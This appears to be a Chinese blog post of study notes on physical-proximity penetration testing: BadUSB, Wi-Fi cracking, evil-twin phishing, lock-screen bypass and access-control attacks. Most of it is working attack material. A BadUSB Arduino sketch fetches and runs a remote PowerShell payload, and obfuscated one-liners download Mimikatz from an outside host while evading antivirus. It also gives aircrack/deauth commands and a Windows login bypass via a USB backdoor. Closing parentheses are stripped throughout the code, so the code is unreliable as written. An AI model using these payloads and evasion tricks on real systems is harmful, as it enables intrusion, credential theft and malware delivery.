近源渗透学习

科技资讯 投稿 5800 0 评论

近源渗透学习

一、近源渗透

它是一种集常规网络攻防、物理接近、社会工程学及无线电通信攻防等能力于一体的高规格网络安全评估行动。网络安全评估小组在签订渗透测试授权协议后,通过乔装、社工等方式实地物理侵入企业办公区域,通过其内部各种潜在攻击面(如Wi-Fi网络、RFID门禁、暴露的有线网口、USB接口等)获得“战果”,最后以隐秘的方式将评估结果带出上报,由此证明企业安全防护存在漏洞。

1.1 常见方式

1.无线网卡

2.WIFI 大菠萝

3.EMP干扰器

4.变色龙

5.纳米指纹膜

6.键盘记录器

7.内网硬件植入

8.HID 攻击

二、Badusb 上线CS

​ BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。在此过程中不会引起杀毒软件、防火墙的一丝怀疑。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。

​ BadUSB也是社会工程学的一个典型示例,它极大地利用了人们的好奇心,在路边捡到的USB,估计九成以上的人们都想看看里面有什么东西,而当你插入U盘,攻击就很难再停止下来了。

2.1 准备工作

    一个Arduino Leonardo开发板,伪装成虚拟键盘的U盘
  • Arduino IDE,用来烧录代码
  • 部署好CS服务端,用来上线

2.2 CS简单免杀

2.2.1 代码混淆

进入Invoke-Obfuscation目录后,在PowerShell中执行命令

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
#然后执行命令,指定待处理的Ps1文件
set scriptpath c:\xxx\payload.ps1
encoding
#输入encoding 并选择编码方式,比如
1
#输入命令,导出免杀ps文件到指定路径
out C:\xxx\xxx.ps1

2.2.2 远程代码执行-替换和干扰

虽然ps1代码自身免杀,但在⽤powershell执⾏远程下载或执⾏shellcode时,很容易触发杀软⾏为规则。对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做⼀些处理。

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt

bypass.txt "$a='IEX((New-Object Net.WebClient.DownloadString(''ht';$b='tp://www.xiaodi8.com/ms/ps/1.ps1'';Invoke-Mimikatz';IEX ($a+$b"

2、替换关键字

powershell "$a='IEX((New-Object Net.WebClient.DownloadString(''ht';$b='tp://www.xiaodi8.com/ms/ps/1.ps1'';Invoke-Mimikatz';IEX ($a+$b"

powershell -NoExit "$c1='IEX(New-Object Net.WebClient.Downlo';$c2='123(''http://www.xiaodi8.com/ms/ps/payload.ps1'''.Replace('123','adString';IEX ($c1+$c2"

替换常见关键字

IEX $DoIt -- i`ex $DoIt
IEX $a  --  ie`x $a
$var_runme -- $vrunme
$var_buffer -- $vbuffer
func_get_proc_address --  func_k
func_get_delegate_type -- func_l
$var_type_builder -- $vk
$var_parameters -- $vp
$var_return_type-- $ve
$var_procedure -- $v_pro

3、垃圾数据干扰

powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient.DownloadString('ht'+'tp://www.xiaodi8.com/ms/ps/p1.ps1'

2.2.3 分离免杀

2.3 Arduino烧录代码

下载地址:https://github.com/arduino/arduino-ide/releases/tag/2.1.0

工具->板->选择"Arduino Leonardo"

delay(5000;//延时毫秒
Keyboard.begin(;     //开始键盘通讯
Keyboard.end(;     //结束键盘通讯
Keyboard.press(;     //按下键盘按键    如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release(;     //释放键盘按键
Keyboard.println("";     //输入字符串使用双引号括起来 
Mouse.begin(;//鼠标事件开始
Mouse.click(;//鼠标单击
Mouse.end(;//鼠标事件结束
Mouse.move(;//鼠标移动(x,y
Mouse.press(;//鼠标按下
Mouse.release(;//鼠标松开
Mouse.isPressed(;//   
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI    //win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN//回车键
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12
#include <Keyboard.h>
void setup( {
  // putpower shell your setup code here, to run once
  Keyboard.begin(;//开始键盘通讯 
delay(3000;//延时 
Keyboard.press(KEY_LEFT_GUI;//win键 
delay(500;
Keyboard.press('r';//r键
delay(500; 
Keyboard.release(KEY_LEFT_GUI;
Keyboard.release('r'; 
delay(500;
Keyboard.println("CMD  /q /d /f:off /v:on /k MODE con: cols=15 lines=1";  //无回显
//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\"";   //有回显
delay(500;
Keyboard.press(KEY_RETURN; 
Keyboard.release(KEY_RETURN; 
Keyboard.println("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass Iex(New-Object Net.WebClient.DownloadString('http://x.x.x.x/xxx.ps1'"; 
Keyboard.press(KEY_RETURN;
Keyboard.release(KEY_RETURN;
Keyboard.end(;//结束键盘通讯 
}
 
void loop( {
  // put your main code here, to run repeatedly:
 
}

在代码实现的过程中主要发现2个坑点。
1、目标机器默认中文输入法的问题
2、在某些系统运行需要安装驱动

1、模拟KEY_LEFT_SHIFT按键把中文输出法切换为英文
2、模拟KEY_CAPS_LOCK按键输出大写字符
第一种解决方法,模拟KEY_LEFT_SHIFT按键,在目标为中文输入法时,可以正常切换为英文,正常输出,但一旦对方默认为英文输入法,反而画蛇添足。
第二种解决方法,模拟KEY_CAPS_LOCK按键,在默认使用中英文输入法时都适用,唯一不适应的情况是对方默认使用中文输入法且开启了大写输入。

注意右下角,程序写到BadUSB里,别写错地方了,程序不报错证明成功

三、Wife渗透

3.1 Wife密码爆破

3.1.1 破解WEP加密的无线网络

Wired Equivalent Privacy或WEP(有线等效加密)协议是对在两台设备间无线传输的数据进行加密的方式,用以防止非法用户窃听或侵入无线网络。不过密码分析学家已经找出WEP好几个弱点,因此在2003年被Wi-Fi Protected Access(WPA)淘汰,又在2004年由完整的IEEE 802.11i标准(又称为WPA2)所取代。

3.1.2 破解WPA/WPA2无线网络

WPA全名为Wi-Fi Protected Access,有WPA和WPA2两个标准。它是一种保护无线电脑网络安全的协议。对于启用WPA/WPA2加密的无线网络,其攻击和破解步骤及攻击是完全一样的。不同的是,在使用airodump-ng进行无线探测的界面上,会提示为WPA CCMP PSK。当使用aireplay-ng进行攻击后,同样获取到WPA握手数据包及提示;在破解时需要提供一个密码字典。下面将介绍破解WPA/WPA2无线网络的方法。

#查看无线网络接口
airmon-ng
#停止无线网络接口
airmon-ng stop wlan0
#修改无线网卡MAC地址
macchanger --mac 00:11:22:33:44:55 wlan0
#启用无线网络接口
airmon-ng start wlan0
#捕获数据包
airodump-ng -c 1 -w abc --bssid  F6:4C:A1:B5:C6:81  mon0
#对无线路由器Test进行Deauth攻击
aireplay-ng --deauth 1 -a 14:E6:E4:AC:FB:20 -c 00:11:22:33: 44:55 mon0
#破解密码
aircrack-ng -w 1.txt test-01.cap

3.1.3 攻击WPS无线

WPS是由Wi-Fi联盟所推出的全新Wi-Fi安全防护设定标准。该标准主要是为了解决无线网络加密认证设定的步骤过于繁杂的弊病。因为通常用户往往会因为设置步骤太麻烦,以至于不做任何加密安全设定,从而引起许多安全上的问题。所以很多人使用WPS设置无线设备,可以通过个人识别码(PIN)或按钮(PBC)取代输入一个很长的密码短语。当开启该功能后,攻击者就可以使用暴力攻击的方法来攻击WPS。本小节将介绍使用各种工具攻击WPS。

利用在线密码生成1.txt字典,使用kail中自带的Aircrack-ng,首先查看无线网卡的信息

#查看wlan0和eth0的信息
iwconfig
#kill掉可能影响的进程
airmon-ng check kill
#启用无线网卡的监听模式,启用成功后,Ifconfig可以看到无线网卡的信息。
airmon-ng start wlan0
#监听附近的所有wifi通信
airodump-ng wlan0mon
#通过后台持续运行,抓取指定ap的无线通信,这里-c指定对应通道
airodump-ng --bssid F6:4C:A1:B5:C6:81 -c 10 -w test wlan0mon
aireplay-ng -0 2 -a F6:4C:A1:B5:C6:81 -c 20:64:CB:0E:E3:ED wlan0mon
#查看后台运行的监听进程,抓到数据包为成功
airodump-ng --bssid F6:4C:A1:B5:C6:81 -c 11 -w test wlan0mon
#通过碰撞破解握手包的密码,获取wifi密码
aircrack-ng -w 1.txt test-01.cap

使用wifite更加简单

#启动Wifite工具,并指定使用common.txt密码字典
wifite -dict common.txt

停止扫描无线网络,将显示如下所示的信息

此时,选择要攻击的无线接入点。这里选择第五个无线接入点,输入“1”。然后按下回车键将开始攻击

3.2 Wife钓鱼

使用fluxion工具,首先iwconfig查看无线网卡的信息,然后fluxion -i安装依赖

[2] Handshake Snooper 检索WPA/WPA2加密散列。
[3] 扫描所有信道  (2.4GHz & 5Ghz
[2] 跳过
[2] aireplay-ng 解除认证方式 (侵略性
[2] cowpatty 验证 (推荐用这个
[1] 每30秒钟 (推荐.
[2] Synchronously (推荐.

2、之后泛洪攻击目标ap,使其停止无线服务

[1] 选择启动攻击方式
[1] 专属门户 创建一个“邪恶的双胞胎”接入点
[2] 跳过
[2] wlan0    [*] Ralink Technology, Corp. RT2870/RT3070      
[2] aireplay
[1] 流氓 AP - hostapd (推荐
[1] hash - cowpatty
[1] 使用抓取到的hash文件
[2] cowpatty 验证 (推荐用这个

3、通过钓鱼框架,伪造目标网络信息,诱导用户连接

[1] 创建SSL证书
[2] 仿真
[03] 通用认证网页                              Chinese 

用户连接钓鱼wifi后,将捕获的用户输入的握手包,与之前认证的握手包进行校验;如果校验成功,则停止攻击目标ap,否则继续攻击,直至成功破解

3.3 无线路由器漏洞利用

四、绕过windows锁屏

近源渗透中经常遇到电脑存在登录密码的情况。某些安全措施严格的目标,还会启用Bitlocker磁盘加密。

4.1 Kon-Boot

如果不打算购买许可证,也可以使用免费版本。本文使用最后一个免费版本V2.5。该版本可以绕过除Windows 10的在线账户之外的密码。在绕过失败时,Kon-Boot可以添加账号,或安装Shift键后门。

    是付费软件,全功能版价格为140美元
  • 无法绕过Bitlocker磁盘加密
  • Kon-Boot绕过密码的成功率差强人意,经常需要重试

4.2 GrabAccess

官网地址:https://kon-boot.com/index.html

    免费,并基于GPL协议开源
  • 可以绕过Bitlocker植入后门
  • 只要引导环境符合要求,成功率接近百分百
  • 自动化植入木马。只需要一步操作,耗时短,适合近源渗透场景

其最主要的优势是成功率高。在实战中发现Kon-boot绕过成功率非常之不稳定,尤其是针对Windows 10。

使用方式

下载地址:https://github.com/Push3AX/GrabAccess

    准备一个U盘。如果是FAT、FAT16或FAT32格式,则可以不删除已有的文件。否则需要格式化为上述格式。
  • 下载GrabAccess,解压,将EFI文件夹拷贝到U盘根目录。
    将U盘插入电脑,重启电脑。在启动时进入BIOS菜单。
  • 选择从U盘启动,或设置U盘为第一启动项。如图所示,最后一个启动项是U盘,选择其启动即可。

(如果BIOS开启了Security Boot,还需将其设置为DISABLE)

    在登录界面,连续按下五次Shift键,即可唤出任务管理器。
  • 点击文件-运行新任务-浏览,将右下角的“文件类型”选择为所有文件,即可查看、读写电脑上的所有文件。
  • 点击文件可以运行cmd,执行任意代码。例如删除当前账号的密码、添加新账号等。

五、门禁锁

其中无线电锁的无线遥控模块常见于门禁、停车场栏杆等
一般使用特定频段315Mhz、443Mhz频段

攻击方式:

    使用固定码,则可被重放攻击
  • 部分滚动码的生成算法已被分析,可能造成滚动码失效
  • 在不知道密码的情况下可进行爆破

RFID锁具

    ID卡较为古老,但廉价,ID卡只有一个ND号,无法存储数据
  • IC卡内部有存储器,并且可以加密数据,IC卡以NXP公司的Mifare为主
  • Mifare卡的存储空间分为1K版和4K版,CPU卡在正常设计的情况下极难破解

六、参考文章

https://mp.weixin.qq.com/s/UROx1fJOmMVbmH_-UasFEQ

编程笔记 » 近源渗透学习

赞同 (29) or 分享 (0)
游客 发表我的评论   换个身份
取消评论

表情
(0)个小伙伴在吐槽